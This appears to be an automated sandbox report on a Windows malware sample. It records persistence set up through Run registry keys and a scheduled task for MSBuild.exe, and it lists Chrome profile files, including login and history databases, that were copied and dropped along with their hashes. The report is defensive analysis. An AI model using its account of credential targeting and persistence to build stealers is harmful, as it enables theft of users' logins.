Excluded IPs from analysis (whitelisted): 20.189.173.20, 23.211.4.90, 8.248.147.254, 8.238.85.254, 8.238.88.120, 8.248.143.254, 8.238.88.126, 142.251.209.3, 142.250.184.99
Excluded domains from analysis (whitelisted): fg.download.windowsupdate.com.c.footprint.net, fs.microsoft.com, fonts.gstatic.com, onedsblobprdwus15.westus.cloudapp.azure.com, ctldl.windowsupdate.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, wu-bg-shim.trafficmanager.net, e16604.g.akamaiedge.net, blobcollector.events.data.trafficmanager.net, watson.telemetry.microsoft.com, www.gstatic.com, prod.fs.microsoft.com.akadns.net
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
01:02:58	API Interceptor	18x Sleep call for process: 321.exe modified
01:02:58	API Interceptor	16x Sleep call for process: 1234.exe modified
01:02:58	API Interceptor	16x Sleep call for process: 123.exe modified
01:03:04	API Interceptor	1x Sleep call for process: WerFault.exe modified
01:03:23	API Interceptor	201x Sleep call for process: powershell.exe modified
01:03:54	API Interceptor	369x Sleep call for process: MSBuild.exe modified
01:04:06	API Interceptor	30x Sleep call for process: RegSvcs.exe modified
01:04:19	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run MSBuild "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
01:04:30	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run MSBuild "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
01:04:38	Task Scheduler	Run new task: MSBuild path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_11.exe_baee5d1ed4328807f5996dd6deb9a90adf4289_231f6c6c_181ca79c\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7309134600286947
Encrypted:	false
SSDEEP:	96:EWFtuDdZIoS7JfLpXIQcQ1c6ScEHcw3R2G/+HbHg/8BRTf3o8Fa9iVfOyWMqZAXH:rvuAHLWtKjI0/u7sgS274It+V
MD5:	009CB07201836B8BF6B81E24A0B2EBBC
SHA1:	C4A0BA011537CABBB7828C57C9F583E26B8B6CF9
SHA-256:	3EC9BC8F85332EC4101E1DF03ED9F158C61F639A6865C149E14319AAB8D26465
SHA-512:	25920726A8C84AED5F9D7A0C950E9ADA5904CA96A9F47441EDD313E2E002255AF01015DBF58E9C665A9A3BB22489C3CBE0736CE9E621F2E818C575A154C2F709
Malicious:	false
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.2.6.5.3.7.7.8.1.1.0.0.2.9.6.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.2.6.5.3.7.7.8.1.8.9.7.1.5.2.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.3.5.b.0.3.3.b.-.4.9.8.3.-.4.5.3.1.-.9.5.a.8.-.d.8.d.5.b.c.b.2.2.c.9.3.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.0.5.b.6.3.1.1.-.9.4.8.2.-.4.4.c.e.-.8.c.4.8.-.b.3.2.d.b.6.5.e.d.6.a.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.1.1...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.7.9.8.-.0.0.0.1.-.0.0.1.f.-.d.4.3.8.-.0.e.a.f.2.7.7.4.d.9.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.f.4.6.3.4.4.d.f.9.2.9.8.7.4.3.0.e.a.2.4.1.0.7.9.1.7.2.c.2.3.b.4.0.0.0.0.1.6.4.0.!.0.0.0.0.b.d.f.b.c.9.e.4.c.2.2.d.e.9.d.1.b.b.0.0.a.d.4.d.8.f.3.6.1.e.d.9.4.a.b.d.6.4.5.3.!.1.1...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.3././.0.4././.1.8.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9C12.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Apr 21 08:03:01 2023, 0x1205a4 type
Category:	dropped
Size (bytes):	37424
Entropy (8bit):	1.9883113481306047
Encrypted:	false
SSDEEP:	192:rRqXJaZwOehkaeiSI1O8Jj6ykBmAnpJl8yzf:l1eyaz4BNe
MD5:	98B9BB5E32D6D788C1D5C22E7734A435
SHA1:	47A0ADC594B50A755CB514A41B3E0113F45B0C34
SHA-256:	F55BDF6900496A4A1DFE903E3EACFCEEB341AFE0CA9A6CF59F64999A103454E9
SHA-512:	E08221E364628098D59DAB5D786445F359E58F65BEBFD44A8725ABF2950E4B2C33419F0D6653B8F884B118BA7FC88DCE8C6FC9383B3EF8CC4B1F42B813F5E0AC
Malicious:	false
Reputation:	unknown
Preview:	MDMP....... .......5CBd....................................$....#..........T.......8...........T...........(................................................................................................U...........B......0.......GenuineIntelW...........T...........1CBd.............................0..2...............P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9E36.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6284
Entropy (8bit):	3.721737917328129
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNihp6rKTYYKSLrlCpD389bEnAsf0Gsm:RrlsNiv62TYYKSFEnTf9
MD5:	619B8236F9286776C1967A82EA7089CB
SHA1:	0B02705F735EFDB8E340D44F6584D9577AA4C990
SHA-256:	B8ED73A85F030300055149DAE4ED9750644283C9D033BF529AF21A2CEC397614
SHA-512:	640358B02C3B03CB402884C75DE55667653422B07778267BCA4CAC174F62A8F68099926C1432B616DDC26D7F13F59DD81FF06D2D62CAADEB5C07D5FF58C4BC83
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.9.4.4.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9EA5.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4557
Entropy (8bit):	4.456654864847508
Encrypted:	false
SSDEEP:	48:cvIwSD8zspJgtWI9VQKhWgc8sqYj78fm8M4Jyx28FAo+q8JOe84gRI+d:uITf7m4grsqYMJyxEoeAjI+d
MD5:	9A242F58C57A3E80E13E3CC3377FB659
SHA1:	E759F5DC2252BB97F68253DEE6C1474DB432B726
SHA-256:	E2612AAB0CA68BC536D2DA3995396803336FB3CD2E35F22060390ED0DABD84D1
SHA-512:	74956595E7E7F14F4034C275378385EC8B98732B6686E313BDF3D8229109CF93B100C03884D0F5D3978557FDEA50E30723BE164A5404FEB29CDC64D4656D672C
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="2006953" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\CrashpadMetrics-active.pma

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.007439228078851367
Encrypted:	false
SSDEEP:	12:bHi0pXhVMMBKEKSCemJKlkQITagigpCbEyIXuYJ0IppPK6BsyW1inPiz:bTpROMMBS+Mkv/igpFzeYWIX1BtXP
MD5:	03C4F648043A88675A920425D824E1B3
SHA1:	B98CE64AB5F7A187D19DEB8F24CA4AB5D9720A6D
SHA-256:	F91DBB7C64B4582F529C968C480D2DCE1C8727390482F31E4355A27BB3D9B450
SHA-512:	2473F21CF8747EC981DB18FB42726C767BBCCA8DD89FD05FFD2D844206A6E86DA672967462AC714E6FB43CC84AC35FFFCEC7DDC43A9357C1F8ED9D14105E9192
Malicious:	false
Reputation:	unknown
Preview:	...@....................@................... ...............`... ...i.y.........CrashpadMetrics.....i.y..Yd.X.......A.......e............,........5l....................5l..................UMA.PersistentAllocator.CrashpadMetrics.UsedPct.h...i.y.[".................................!...&...+...0...6...;...@...E...K...P...U...Z...`...e...........i.y..Yd.........A...........................?....{.................@....{.................UMA.PersistentAllocator.CrashpadMetrics.Errors......i.y..Yd........A...............p..._..-@....h-.....................h-....................Crashpad.HandlerLifetimeMilestone.......0...i.y.[".........................................i.y..Yd. .......C...........................VM....],................WM....],................Stability.BrowserExitCodes...... ...i.y...0...VM....],........H...i.y.1U!S............................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Default\Affiliation Database

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, file counter 3, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.38067307057058547
Encrypted:	false
SSDEEP:	24:TLvNvN2HLvKroyr0n4Bmhl0QoV06UwccNp15fBGQ:TaLS00FV7U1cvB
MD5:	6CC2FD5538BAE20531A0162744F28F0A
SHA1:	78349F7B0D6C1DD73B9517DE92997A41BBC13CC9
SHA-256:	45D1950F83A7C6C2984F20570396714BE501E4DF3DBA4B1A62C43BBFD8ED35A9
SHA-512:	AFE6417C36620C67DCA08442BA06FDEA13FEB9A82ACBAA4F9C55545117C18221B4ACCE7E941F362F10C30FDE96791D4CBDB7A1444B1F9CA7E9B381D662C732C4
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................[5.........g.......8.Y................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Default\DownloadMetadata

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PDP-11 pure executable - version 115
Category:	dropped
Size (bytes):	7170
Entropy (8bit):	6.7824905092258065
Encrypted:	false
SSDEEP:	192:GMVjDcI/Fxf8fNgYMujjt7x03A2p8Bjcluab+6ab+F:GwttN8V1M8vIA2Ydab+6ab+F
MD5:	F5C34458508E8134DD18109531EB88D2
SHA1:	8E81C83F8A45120CB0DD784821734FC4101270BB
SHA-256:	545521926211683632CABF2C181196C380AC7BC4D0418B300D20DF8607FE06CC
SHA-512:	89AE7D5CC3BC1BF94FE12C87FBDF5CD0023D971E4F7DB9BBD533C95B1ECE41DA5D3960579836D7006E573E41D9B997238682707038FB3DC35085B9B669883191
Malicious:	true
Reputation:	unknown
Preview:	....7..7...https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7BBD4EA3DA-62A2-7CB1-F975-F6ABE39E0C31%7D%26lang%3Den-GB%26browser%3D4%26usagestats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1%26installdataindex%3Dempty/update2/installers/ChromeSetup.exe.". ...wO~..hbu.Q j,1...UB.\|...j....V"-.)https://www.google.com/intl/en_uk/chrome/..".....https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7BBD4EA3DA-62A2-7CB1-F975-F6ABE39E0C31%7D%26lang%3Den-GB%26browser%3D4%26usagestats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1%26installdataindex%3Dempty/update2/installers/ChromeSetup.exe....172.217.23.110")https://www.google.com/intl/en_uk/chrome/"F.)https://www.google.com/intl/en_uk/chrome/..".https://www.google.com/...........0...0.............k.F.....E..30....H........0o1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.c

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Default\Extension Cookies

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5711805239155107
Encrypted:	false
SSDEEP:	12:TLVfFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLLF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	6DB499CAD9694D6B2F20205C657FE2FD
SHA1:	7CFAA5EFFA50E5B878175CF1221E2A7C345EEE06
SHA-256:	AB72F30C3F30343D975E8FA2A116EB58C67A7CC31E96782537FE5F93E82AF4FC
SHA-512:	0EEB34B688C4EF7F49D0F0E7F78203B844EEF607A9767DC8FAC33F7E0F0DB765FCA659E2EDEC09F50980E1A29264224871552F923530A40E91E63C65FD2DAD6B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................[5.........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Default\Favicons

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, page size 2048, file counter 5, database pages 14, cookie 0x8, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	3.5013606978909078
Encrypted:	false
SSDEEP:	384:sSab+xChpmiab+VYHpcq2HXkiZHXni77Yui8h:Hab+xChpmiab+VYHpcq2313mY/c
MD5:	BCFF696BC48A9944505EC1BFC3C0ABA5
SHA1:	285DDB38557BF275B970A1A9661A982CAADF31AD
SHA-256:	7AC2591FCBBE26181E3A5CA9784488177830A296DD5EFFCCFE81A867AAAF1543
SHA-512:	9E365FAD1E885E1218828C3D197C7439F6BFE30FFF670F26D8568CB8E98F055F2556A0D56A2899B20C9316A32C90372E66061E38003D81B32ED53C94D4BD56DC
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C..........g....._.c...~.2.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................s...;+...indexfavicon_bitmaps_icon_idfavico

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Default\Google Profile.ico

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	MS Windows icon resource - 13 icons, 8x8, 32 bits/pixel, 10x10, 32 bits/pixel
Category:	dropped
Size (bytes):	192290
Entropy (8bit):	6.114730702341481
Encrypted:	false
SSDEEP:	3072:xCKUqXno+shVZrVDvnoedw4nbo3WwwzfLc1Df1pcAQp2AhP:eTFNBbVwwzYJw1p2Ah
MD5:	88255FC25FAB5CAED0999A12788B2333
SHA1:	1A7B95F59F25280F2CFF549FA2A6AB30BAD7A2AE
SHA-256:	DFDB1FE63AA22E8BFF4C7DB05E188E82AEFC9E3E3A159E3A3963355790FCC980
SHA-512:	60EC1B69795F23C6955C084D665350AA07CB6E8B185E67FA4EC51909B505E648B832AA36EA1624BA02AECB654A649F7E4264B6C78D605AAE4DCF7BFC65A29D98
Malicious:	false
Reputation:	unknown
Preview:	............ .H............. ............... .p............. .h...n......... ............... ......... .... .....n...((.... .h.......00.... ..%..~H..@@.... .(B..&n..``.... .....N......... .(....D........ ......M..(............. .................................@.$[B........._............A.#.>...@...).z.............H.(YD. .d.K.....s.A..........[K.%.F.3.....x...t"............R...:~..........z.....!...)...N.N[/F..NY........P...+...1..Y....1<..=..?..+C..,<../6.............9D.Z6B.6?.5@.[........................................(............. ..................................U..?. YB.........Z................9...C.".B.".<...".u.................3...D.$.F.#.@.'.r.c.s.X.................F.&WJ.(.C.(......p...b................YK./.E...r.\|...t..m...m....h.V......."...R.(.E.0.cx....m..o...n....e.[.......(...V..YAs..&0........k...k......../...,..WI.I.0@..1>..+<..cp..dz..+g..0i../m..........&9..5B..4A..)7..(5..38..04..&...................5C.W8F.8F.4F.X..............................

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Default\History

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, file counter 7, database pages 36, 1st free page 10, free pages 1, cookie 0x29, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	147456
Entropy (8bit):	0.7217007190866341
Encrypted:	false
SSDEEP:	384:kab+d5neKTnuRpHDiEwABBE3umab+QuJdi:kab+dVeK8iEZBBjmab+QuJdi
MD5:	FEF7F4B210100663DC7731400BAC534E
SHA1:	E3F17C46A2DB6861F22B3F4222B97DCB5EBBD47A
SHA-256:	E81118F5C967EA342A16BDEFB28919F8039E772F8BDCF4A65684E3F56D31EA0E
SHA-512:	6134CC2118FBADD137C4FC3204028B088C7E73A7B985A64D84C60ABD5B1DBFD0AA352C6DF199F43164FEC92378571B5FAC4F801E9AF7BE1DEA8FB6C3C799F695
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$...........)......................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	14700
Entropy (8bit):	5.821240152065234
Encrypted:	false
SSDEEP:	192:oIXgdczDpE5fgnwKHgQxyrSryyZcdHs8CE5fgcypaaiWM6/ZhmFws+eZoFEuHgQY:bsowsUrSr4pypaaiYgwpY
MD5:	6C87AC176BEBE1937F62ECB4D26C9C0B
SHA1:	89E02D81EAFB080D7CF7884A22780F7F4550D3C8
SHA-256:	E311A5DF37DD136B5B3EFC3FCFA9B103A13B9B159E36A75744DD2FF38AF551EF
SHA-512:	1C583E67F99828913ED090DCB1B921886A687DAF188E0B2E2ED6136522271F967FAE8629F6D2CB02201852BCD598563D3F75500BB5EF0F0CB1525073B43E3E77
Malicious:	false
Reputation:	unknown
Preview:	...5.................VERSION.1.8META:chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm..............Q_chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm..mr.persistent.CloudProvider7.{"cloudEnabled":false,"notifiedHangoutsPrivacy":false}.S_chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm..mr.persistent.IdentityService6.{"signedIn":false,"userEmail":null,"kioskAuth":false}.Y_chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm..mr.temp.HangoutSinkDiscoveryService;.{"cache":{"sinks":{},"g":{},"h":null},"manualHangouts":{}}.a_chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm..mr.temp.IdGenerator.cast.RequestIdGenerator..826992000.H_chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm..mr.temp.LogManager...["[2020-09-30 07:58:17.19][INFO][mr.Init] MR instance ID: eed8a5c4-c410-41ec-8296-fe0906655421\n","[2020-09-30 07:58:17.20][INFO][mr.Init] Native Cast MRP is disabled.\n","[2020-09-30 07:58:17.20][INFO][mr.Init] Native Mirroring Service is enabled.\n","[2020-09-30 07:58:17.21][INFO

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Default\Local Storage\leveldb\CURRENT

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.2460939768102515
Encrypted:	false
SSDEEP:	6:4te9+q2PWXp+N23iKKdK8a2jMGIFUtqVvtHJZmwYVvtH9VkwOWXp+N23iKKdK8as:Yva5Kk8EFUtm/I5f5Kk8bJ
MD5:	1FA540FBA75437BBF0040DE55F646CA8
SHA1:	D783DAA721C28EFBA154DF5E0F6CA8B794C2CC9F
SHA-256:	CC8057685DDE0E690D09F9299CE128BB430876FAD46DA8B7D55A254F69F37975
SHA-512:	8FC9A67907AD6A038646793524635C73EE582905776275457DEFCF3E6FAF8BC6C28B1AF6BDD5B8C5DDA255D2E5EC0D0732B19420DD36B4D09D6BDB5BD51E8998
Malicious:	false
Reputation:	unknown
Preview:	2022/08/16-14:35:44.737 1308 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2022/08/16-14:35:44.738 1308 Recovering log #3.2022/08/16-14:35:44.738 1308 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Default\Local Storage\leveldb\LOG.old

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.217144481132511
Encrypted:	false
SSDEEP:	6:4tt9yq2PWXp+N23iKKdK8a2jMGIFUtqVvttr1ZmwYVvtNi1RkwOWXp+N23iKKdKw:tva5Kk8EFUtU1/4iD5f5Kk8bJ
MD5:	AE023CC080090E3217EF6D9F8E56A875
SHA1:	C5524EBBCD15A571C226D927453FF315BB50370B
SHA-256:	8132BF0B43BBE70F1A7BAAC1FE0509017809855DEAB3D7BF37870B268DDC351E
SHA-512:	A8A1B8F253EA3FF08D745F636776DBF2E9CAB95869523B08966B05BCA706701122A56E835B16DA3F687A1DCF711B991177BFD78699259BA919A0C4DD94AAF22D
Malicious:	false
Reputation:	unknown
Preview:	2022/08/16-14:35:34.406 d30 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2022/08/16-14:35:34.406 d30 Recovering log #3.2022/08/16-14:35:34.407 d30 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Default\Local Storage\leveldb\MANIFEST-000001

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Reputation:	unknown
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Default\Login Data

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 2, database pages 23, cookie 0x19, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.7876734657715041
Encrypted:	false
SSDEEP:	48:43KzOIIY3HzrkNSs8LKvUf9KnmlG0UX9q4lCm+KLka+yJqhM0ObVEq8Ma0D0HOlx:Sq0NFeymDlGD9qlm+KL2y0Obn8MouO
MD5:	CF7758A2FF4A94A5D589DEBAED38F82E
SHA1:	D3380E70D0CAEB9AD78D14DD970EA480E08232B8
SHA-256:	6CA783B84D01BFCF9AA7185D7857401D336BAD407A182345B97096E1F2502B7F
SHA-512:	1D0C49B02A159EEB4AA971980CCA02751973E249422A71A0587EE63986A4A0EB8929458BCC575A9898CE3497CC5BDFB7050DF33DF53F5C88D110F386A0804CBF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Default\Login Data For Account

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 1, database pages 23, cookie 0xd, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	47104
Entropy (8bit):	0.7967866507446053
Encrypted:	false
SSDEEP:	96:+SXNKLyeymwHCn8MouOFlRGiZqYtFTCG:+SfHG7qqifTCG
MD5:	71EB34F938FF021CA4963A578759CBCA
SHA1:	413D4E22241AB5CA9DC843AE60EBCF2268ED823F
SHA-256:	380CE9F481BB5399106F8F01567DF633EF09F06186F9F8432BA31C69DFC7E350
SHA-512:	60709799611A53EB3636F4ED88E5B62B45FA92119A6F8CA40131417D6169E51BFD984A850D30BAF4C8750AAD16A92A97150E06257349696273238A63E0538137
Malicious:	false
